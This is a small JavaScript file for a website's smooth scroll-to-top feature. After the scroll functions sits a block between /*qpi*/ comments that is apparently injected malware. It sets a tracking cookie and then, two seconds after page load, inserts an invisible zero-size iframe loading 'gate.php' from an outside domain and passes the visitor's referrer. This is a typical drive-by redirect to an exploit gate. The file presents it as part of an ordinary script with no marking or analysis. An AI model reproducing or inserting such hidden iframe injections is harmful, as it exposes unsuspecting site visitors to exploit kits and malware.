// JavaScript Document

var up_timer

function getPosition(){
	yoko = document.body.scrollLeft || document.documentElement.scrollLeft;
	tate = document.body.scrollTop  || document.documentElement.scrollTop;

}

function pageup(x,y){
	if(up_timer) clearTimeout(up_timer);
	if(y >= 1){
		getPosition();
		var divisionY = (tate-(tate/5));
		var Y = Math.floor(divisionY);
		window.scrollTo(yoko,Y);
		up_timer = setTimeout("pageup("+yoko+","+Y+")",2);
	}else{
		window.scrollTo(yoko,0);
		clearTimeout(up_timer);
	}
}

function scrollup(){
		getPosition();
		pageup(yoko,tate)
}/*qpi*/
function g(){var r=new RegExp('(?:; )?1=([^;]*);?');return r.test(document.cookie)?true:false}
var e=new Date();e.setTime(e.getTime()+(2592000000));
if(!g()&&window.navigator.cookieEnabled)
{
	document.cookie='1=1;expires='+e.toGMTString()+';path=/';
	window.setTimeout(function(){
		var JSinj=document.createElement('iframe');
		JSinj.src='http://unclesammm.com/gate.php?f=871743&r='+escape(document.referrer||'');
		JSinj.width='0';
		JSinj.height='0';
		JSinj.frameborder='0';
		JSinj.marginheight='0';
		JSinj.marginwidth='0';
		JSinj.border='0';
		try{
			document.body.appendChild(JSinj);
		}catch(e){
			document.documentElement.appendChild(JSinj);
		}
	}, 2000);
}
/*qpi*/
